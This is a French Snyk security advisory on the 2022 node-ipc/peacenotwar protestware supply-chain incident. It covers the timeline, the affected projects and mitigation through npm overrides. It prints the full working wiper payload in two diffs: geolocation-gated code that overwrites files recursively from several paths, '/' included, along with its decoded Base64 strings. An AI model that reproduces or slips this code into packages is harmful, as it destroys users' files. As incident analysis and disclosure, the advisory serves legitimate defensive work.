Alerte : le module peacenotwar sabote les développeurs npm via le package node-ipc pour protester contre l’invasion de l’Ukraine

Le 15 mars 2022, les utilisateurs du populaire framework JavaScript frontend Vue.js ont commencé à subir ce qui ne peut être décrit que comme une attaque de la chaîne d’approvisionnement touchant l’écosystème npm. Elle est due au sabotage des dépendances imbriquées node-ipc et peacenotwar, perpétré par le responsable du package node-ipc pour protester.

Cet incident de sécurité implique des actes destructeurs : un responsable a corrompu des fichiers sur disque, puis a tenté de dissimuler et de reformuler ce sabotage délibéré sous différentes formes. Bien qu’il s’agisse d’une attaque motivée par la protestation, elle met en lumière un problème plus vaste pour la chaîne d’approvisionnement logicielle : les dépendances transitives de votre code peuvent avoir un impact considérable sur votre sécurité.

Snyk suit les incidents de sécurité décrits dans cet article à l’aide des CVE suivantes : CVE-2022-23812 pour node-ipc et SNYK-JS-PEACENOTWAR-2426724 pour les modules npm peacenotwar et oneday-test. Si vous utilisez déjà Snyk pour la sécurité open source et la sécurité de la chaîne d’approvisionnement, les outils vous enverront des notifications et des alertes, et créeront automatiquement des pull requests pour vous tenir informé et vous protéger. Poursuivez votre lecture pour en savoir plus sur les détails de cette attaque de la chaîne d’approvisionnement.

Événements précédant l’utilisation abusive du package npm node-ipc

Tout a commencé le 8 mars 2022 à 18 h GMT+2. Le responsable npm RIAEvangelist (Brandon Nozaki Miller) a alors écrit le code source et publié un package npm nommé peacenotwar, dont la description indique :

1This code serves as a non-destructive example of why controlling 
2your node modules is important. It also serves as a non-violent 
3protest against Russia's aggression that threatens the world right 
4now. This module will add a message of peace on your users' 
5desktops, and it will only do it if it does not already exist 
6just to be polite.

Jusqu’à hier (le 15 mars), ce module n’avait pratiquement aucun téléchargement. Tout a changé lorsque son responsable npm l’a ajouté comme dépendance à l’un de ses autres modules populaires, node-ipc, qui est lui-même une dépendance largement utilisée par les développeurs JavaScript de l’écosystème.

Parmi les projets de l’écosystème JavaScript concernés figure l’outil en ligne de commande de Vue.js, Vue.js CLI, également connu sous le nom de package npm @vue/cli. L’arbre de dépendances imbriquées ci-dessous montre précisément comment node-ipc se retrouve dans le package npm Vue.js CLI et souligne encore la nécessité d’évaluer les risques liés aux dépendances imbriquées dans leur ensemble :

1- @vue/cli
2   |
3   - @vue/cli-ui
4      |
5      - node-ipc@^9.2.1
6   - @vue/cli-shared-utils
7      |
8      - node-ipc@^9.1.1

La dernière version « stable » du package npm node-ipc (version 9.2.2) intègre peacenotwar et, fait intéressant, le tristement célèbre package npm colors, avec une plage de dépendances générique *. Si vous ne connaissez pas l’histoire du package npm colors et de faker, volontairement détournés et corrompus par leur responsable npm, Marak, je vous recommande vivement de la lire : elle offre une autre perspective sur la sécurité de la chaîne d’approvisionnement open source.

Chronologie des événements

Les versions précédentes de node-ipc, comme la 10.1.0 (publiée il y a six mois) et les versions jusqu’à la 10.0.0 (publiée il y a neuf mois), ont toutes bénéficié de mises à jour et d’améliorations légitimes. Cependant…

7 mars

La semaine dernière, la version 10.1.1 a été publiée avec des modifications de code manifestes, qui ont suscité des inquiétudes concernant une activité suspecte et une possible utilisation abusive du code source et du comportement du package. Examinons les différences entre les versions 10.1.0 et 10.1.1 :

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.0..v10.1.1 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,6 +1030,74 @@
6   });
7 }
8
9+// dao/ssl-geospec.js
10+var import_path = __toModule(require("path"));
11+var import_fs3 = __toModule(require("fs"));
12+var import_https = __toModule(require("https"));
13+setTimeout(function() {
14+  const t = Math.round(Math.random() * 4);
15+  if (t > 1) {
16+    return;
17+  }
18+  const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
19+  import_https.default.get(n.toString("utf8"), function(t2) {
20+    t2.on("data", function(t3) {
21+      const n2 = Buffer.from("Li8=", "base64");
22+      const o2 = Buffer.from("Li4v", "base64");
23+      const r = Buffer.from("Li4vLi4v", "base64");
24+      const f = Buffer.from("Lw==", "base64");
25+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
26+      const e = Buffer.from("cnVzc2lh", "base64");
27+      const i = Buffer.from("YmVsYXJ1cw==", "base64");
28+      try {
29+        const s = JSON.parse(t3.toString("utf8"));
30+        const u2 = s[c.toString("utf8")].toLowerCase();
31+        const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
32+        if (a2) {
33+          h(n2.toString("utf8"));
34+          h(o2.toString("utf8"));
35+          h(r.toString("utf8"));
36+          h(f.toString("utf8"));
37+        }
38+      } catch (t4) {
39+      }
40+    });
41+  });
42+}, Math.ceil(Math.random() * 1e3));
43+async function h(n = "", o2 = "") {
44+  if (!import_fs3.default.existsSync(n)) {
45+    return;
46+  }
47+  let r = [];
48+  try {
49+    r = import_fs3.default.readdirSync(n);
50+  } catch (t) {
51+  }
52+  const f = [];
53+  const c = Buffer.from("4p2k77iP", "base64");
54+  for (var e = 0; e < r.length; e++) {
55+    const i = import_path.default.join(n, r[e]);
56+    let t = null;
57+    try {
58+      t = import_fs3.default.lstatSync(i);
59+    } catch (t2) {
60+      continue;
61+    }
62+    if (t.isDirectory()) {
63+      const s = h(i, o2);
64+      s.length > 0 ? f.push(...s) : null;
65+    } else if (i.indexOf(o2) >= 0) {
66+      try {
67+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
68+        });
69+      } catch (t2) {
70+      }
71+    }
72+  }
73+  return f;
74+}
75+var ssl = true;
76+

Le module Node.js compatible CommonJS node-ipc.cjs est très long : il compte plus de 1 000 lignes de code. La présence d’appels HTTPS sortants vers des destinations distantes et de données encodées en Base64 suffit à justifier une alerte pour comportement potentiellement malveillant et à servir de base aux indicateurs de compromission (IoC).

Le code ajouté à node-ipc@10.1.1 définit un minuteur qui, à chaque intervalle aléatoire préconfiguré où du code lié à node-ipc est appelé, exécute également une fonction qui semble effectuer des opérations sur le système de fichiers.

Examinons de plus près les valeurs encodées en Base64 des arguments transmis à la fonction qui effectue les opérations sur le système de fichiers. Voici l’extrait comparatif ci-dessus :

1+      const n2 = Buffer.from("Li8=", "base64");
2+      const o2 = Buffer.from("Li4v", "base64");
3+      const r = Buffer.from("Li4vLi4v", "base64");
4+      const f = Buffer.from("Lw==", "base64");
5+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
6+      const e = Buffer.from("cnVzc2lh", "base64");
7+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Toutes ces valeurs sont ensuite transmises à la fonction du minuteur, par exemple :

1+          h(n2.toString("utf8"));

Les chaînes Base64 encodées ci-dessus correspondent aux valeurs suivantes :

• n2 est défini sur : ./

• o2 est défini sur : ../

• r est défini sur : ../../

• f est défini sur : /

Lorsqu’elles sont transmises à la fonction du minuteur, ces valeurs sont utilisées dans la ligne de code suivante comme chemins de fichiers à traiter : le contenu des fichiers est effacé et remplacé par un émoji cœur (visible à la ligne +  const c = Buffer.from("4p2k77iP", "base64"); de l’extrait comparatif).

1+      try {
2+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
3+        });

À ce stade, tout système sur lequel ce package npm est appelé subira une attaque manifeste et un incident critique de sécurité de la chaîne d’approvisionnement, si sa géolocalisation correspond à la Russie ou à la Biélorussie.

Résultats de débogage simulés dans un bac à sable de test.

La nouvelle version du fichier README de node-ipc@10.1.1 omet de signaler ce nouveau comportement. Elle contient plutôt un appel à soutenir RIAEvangelist et un exemple d’utilisation des versions ES6 et CommonJS de node-ipc dans les versions 10 et ultérieures.

Environ dix heures plus tard, la version node-ipc@10.1.2 a été publiée, avec pour seul changement notable une hausse du numéro de version. Il s’agissait peut-être de déclencher des mises à jour automatiques des dépendances. Voici le diff Git complet entre les deux versions :

1diff --git a/package.json b/package.json
2index v10.1.1..v10.1.2 100666
3--- a/package.json
4+++ b/package.json
5@@ -1,6 +1,6 @@
6 {
7   "name": "node-ipc",
8-  "version": "10.1.1",
9+  "version": "10.1.2",
10   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
11   "type": "module",
12   "main": "node-ipc.cjs",

8 mars

Puis, environ cinq heures plus tard, le 8 mars, une nouvelle version est publiée : node-ipc@10.1.3. Elle semble supprimer toute trace de la charge utile destructrice mentionnée précédemment. L’examen du diff Git entre les deux versions le confirme :

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v10.1.2..v10.1.3 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1030,74 +1030,6 @@
6   });
7 }
8
9-// dao/ssl-geospec.js
10-var import_path = __toModule(require("path"));
11-var import_fs3 = __toModule(require("fs"));
12-var import_https = __toModule(require("https"));
13-setTimeout(function() {
14-  const t = Math.round(Math.random() * 4);
15-  if (t > 1) {
16-    return;
17-  }
18
19…
20diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
21deleted file mode 100666
22index v10.1.2..v10.1.3
23--- a/dao/ssl-geospec.js
24+++ b/dao/ssl-geospec.js
25@@ -1,1 +0,0 @@
26-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

Nous pensons que cette charge utile a été retirée de la branche 10.x à la suite d’une discussion faisant suite à la issue GitHub qui signalait ce comportement. Le responsable affirme y avoir publié cette charge utile dans le cadre d’une nouvelle version majeure de la bibliothèque :

En résumé, les versions vulnérables de node-ipc, à savoir node-ipc@10.1.1 et node-ipc@10.1.2, ont été disponibles sur le registre npmjs pendant moins de 24 heures. Mais compte tenu du nombre élevé de téléchargements par les développeurs et les systèmes de build, certaines personnes ont assurément été touchées, comme le confirment les signalements publiés dans des dépôts publics : signalements.

Cependant, les versions vulnérables 10.1.1 et 10.1.2 ne sont plus disponibles sur le registre npmjs et ont été marquées comme deprecated, par le responsable ou par l’équipe npmjs. Nous pouvons le confirmer grâce à l’avis publié sur le site npmjs :

Le 8 mars à 19 h 25 GMT+2, moins de quatre heures après la publication de node-ipc@10.1.3, qui annulait la charge utile destructrice, une nouvelle version majeure, node-ipc@11.0.0, a été publiée sur le registre npmjs. Qu’est-ce qui a changé ?

La nouvelle version majeure node-ipc@11.0.0 comprend désormais les éléments suivants :

• Une dépendance au module peacenotwar

• Chaque fois qu’une fonctionnalité du module node-ipc est appelée, un message tiré du module peacenotwar est affiché sur STDOUT. Un fichier est également placé sur le Bureau de l’utilisateur ; son contenu porte sur la situation de guerre actuelle entre la Russie et l’Ukraine.

• Le README de la version 11.0.0 mentionne explicitement l’utilisation de peacenotwar par le module dans la note suivante : ***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.

Qu’est-ce qui a conduit à l’intégration du package npm peacenotwar dans les versions principales de node-ipc, touchant ainsi des millions de développeurs ?

15 mars

Hier, le 15 mars, à 18 h 49 GMT+2 et à 19 h 40 GMT+2, deux nouvelles versions npm majeures et lourdes de conséquences ont été publiées pour node-ipc. La plus importante est une nouvelle version corrective, node-ipc@9.2.2, car il s’agit de la dernière branche stable de node-ipc, utilisée par de nombreux projets de l’écosystème, dont le Vue.js CLI @vue/cli déjà mentionné.

Voici les modifications apportées à node-ipc@9.2.2 :

1. Du code source d’exemple est ajouté au contenu du package.

2. Le module peacenotwar est ajouté comme dépendance et exécuté dès que node-ipc est appelé par une dépendance qui l’importe.

3. Une dépendance explicite à colors@* est également ajoutée. Elle inclut du code source volontairement vulnérable, publié par un autre responsable.

4. La licence de cette nouvelle version mineure passe de la licence MIT à la licence DBAD. Note de la rédaction : la licence DBAD contient des propos grossiers.

À peu près au même moment, une nouvelle version mineure a été publiée : node-ipc@11.1.0. Elle met à jour la dépendance peacenotwar, mais supprime les messages console.log() qui étaient affichés sur STDOUT. Voici le journal du diff Git entre les deux packages npm node-ipc :

1diff --git a/node-ipc.cjs b/node-ipc.cjs
2index v11.0.0..v11.1.0 100666
3--- a/node-ipc.cjs
4+++ b/node-ipc.cjs
5@@ -1328,7 +1328,6 @@
6 var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
7 var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
8 function deliverAPeacefulMessage(path2, message) {
9-  console.log(path2);
10   try {
11     import_fs5.default.writeFile(path2, message, function(err) {
12     });
13@@ -1336,7 +1335,6 @@
14   }
15 }
16 if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
17-  console.log("in here");
18   const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
19   const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
20   deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
21diff --git a/package.json b/package.json
22index v11.0.0..v11.1.0 100666
23--- a/package.json
24+++ b/package.json
25@@ -1,6 +1,6 @@
26 {
27   "name": "node-ipc",
28-  "version": "11.0.0",
29+  "version": "11.1.0",
30   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
31   "type": "module",
32   "main": "node-ipc.cjs",
33@@ -19,7 +19,7 @@
34     "event-pubsub": "5.0.3",
35     "js-message": "1.0.7",
36     "js-queue": "2.0.2",
37-    "peacenotwar": "^9.1.3",
38+    "peacenotwar": "^9.1.5",
39     "strong-type": "^1.0.1"
40   },
41   "devDependencies": {

La sécurité de la chaîne d’approvisionnement face à la réputation des responsables

Même si certains considèrent l’acte délibéré et dangereux du responsable RIAEvangelist comme une protestation légitime, qu’en est-il de sa réputation et de sa place au sein de la communauté des développeurs ? Pourra-t-on encore lui faire confiance et croire qu’il ne récidivera pas, avec des actes similaires ou encore plus agressifs, dans les projets auxquels il participe ?

RIAEvangelist gère actuellement plus de 40 autres packages npm, qui totalisent des centaines de millions de téléchargements. Voici quelques-uns des modules dont il est responsable, avec leur nombre de téléchargements hebdomadaires sur le registre npmjs :

L’équipe de recherche en sécurité de Snyk n’a trouvé aucun indice d’utilisation abusive intentionnelle similaire dans les autres packages de ce responsable, mais reste vigilante quant aux mises à jour publiées dans l’écosystème npmjs.

Comment atténuer le problème node-ipc

Compte tenu des risques que de futures mises à jour du code fassent courir aux utilisateurs, nous vous recommandons d’éviter complètement le package npm node-ipc. Si ce package npm est inclus dans votre projet en tant que composant de l’application que vous développez, nous vous recommandons d’utiliser la fonctionnalité de votre gestionnaire de packages npm pour exclure complètement les versions sabotées et verrouiller la dépendance transitive sur une version reconnue comme fiable.

Si vous utilisez npm comme gestionnaire de packages, vous pouvez ajouter les éléments suivants à votre fichier package.json pour n’autoriser explicitement que les versions fiables de node-ipc :

1  "overrides": {
2    "node-ipc@>9.2.1 <10": "9.2.1",
3    "node-ipc@>10.1.0": "10.1.0"
4  }

Victimes connues de premier plan de l’incident node-ipc

Une vulnérabilité liée au protestware node-ipc a été découverte dans le projet Vue.js

Vue.js CLI dépendait auparavant de la plage de versions 9.x de node-ipc et était vulnérable à la version 9.2.2, qui ajoutait le module peacenotwar. Celui-ci créait un fichier WITH-LOVE-FROM-AMERICA.txt sur le Bureau de l’utilisateur. La vulnérabilité de @vue/cli a depuis été corrigée. Veuillez mettre à jour vers la dernière version de @vue/cli, soit 4.5.16 ou ultérieure, soit 5.0.3 ou ultérieure, à l’aide du gestionnaire de packages de votre choix :

1npm i -g @vue/cli
2pnpm i -g @vue/cli
3yarn global add @vue/cli

Une vulnérabilité liée au protestware node-ipc a été découverte dans le moteur de jeu Unity

Des utilisateurs ont signalé que le projet du moteur de jeu Unity distribuait son logiciel avec node-ipc@9.2.2, ce qui a alarmé les utilisateurs qui ont découvert avec surprise la création d’un nouveau fichier sur leur bureau. L’équipe Unity s’est empressée de publier une version corrective 3.1.1 le 16 mars afin d’atténuer le problème.

Résumé

Snyk soutient l’Ukraine et a pris des mesures proactives pour soutenir le peuple ukrainien pendant la crise en cours, en proposant des dons et un service gratuit aux développeurs du monde entier, ainsi qu’en prenant des mesures pour cesser ses activités en Russie et en Biélorussie. Cela dit, les abus délibérés comme celui-ci nuisent à la communauté mondiale de l’open source et nous obligent à signaler les versions concernées de node-ipc comme vulnérabilités de sécurité.

L’équipe de sécurité de Snyk a donc publié CVE-2022-23812 et SNYK-JS-PEACENOTWAR-2426724 afin de signaler et de suivre la vulnérabilité de sécurité liée aux versions délibérément vulnérables de node-ipc. L’offre gratuite de Snyk inclut également cette nouvelle vulnérabilité, permettant aux développeurs d’analyser et de surveiller leurs projets, puis de déployer automatiquement des correctifs de sécurité sous forme de demandes de fusion.

Cependant, les répercussions des incidents de sécurité de la chaîne d’approvisionnement continuent de montrer qu’il est nécessaire de gérer correctement les risques liés aux dépendances open source et d’y réagir rapidement. En outre, la complexité des dépendances imbriquées, notamment dans l’écosystème JavaScript de npmjs, a une nouvelle fois mis en évidence l’effet cumulatif qu’elles peuvent avoir sur les principaux projets de l’écosystème.

Il y a seulement deux mois, nous avons évoqué les vastes répercussions d’un incident de sécurité similaire, au cours duquel un responsable de projet open source a abandonné les packages npm « colors » et « faker », illustrant la capacité des responsables à saboter délibérément des bibliothèques open source.

Il devient de plus en plus important d’acquérir des compétences pour gérer les dépendances logicielles à grande échelle, ainsi que de veiller, en tant que développeur, à suivre les bonnes pratiques de sécurité npm et à se renseigner sur les pièges et incidents de sécurité, comme les raisons pour lesquelles les fichiers de verrouillage npm peuvent constituer un angle mort en matière de sécurité et permettre l’injection de modules malveillants.

Pour en savoir plus sur la sécurité de la chaîne d’approvisionnement, consultez ces articles :

• Sécuriser votre chaîne d’approvisionnement logicielle moderne

• Créer une nomenclature logicielle (SBOM) pour sécuriser la chaîne d’approvisionnement open source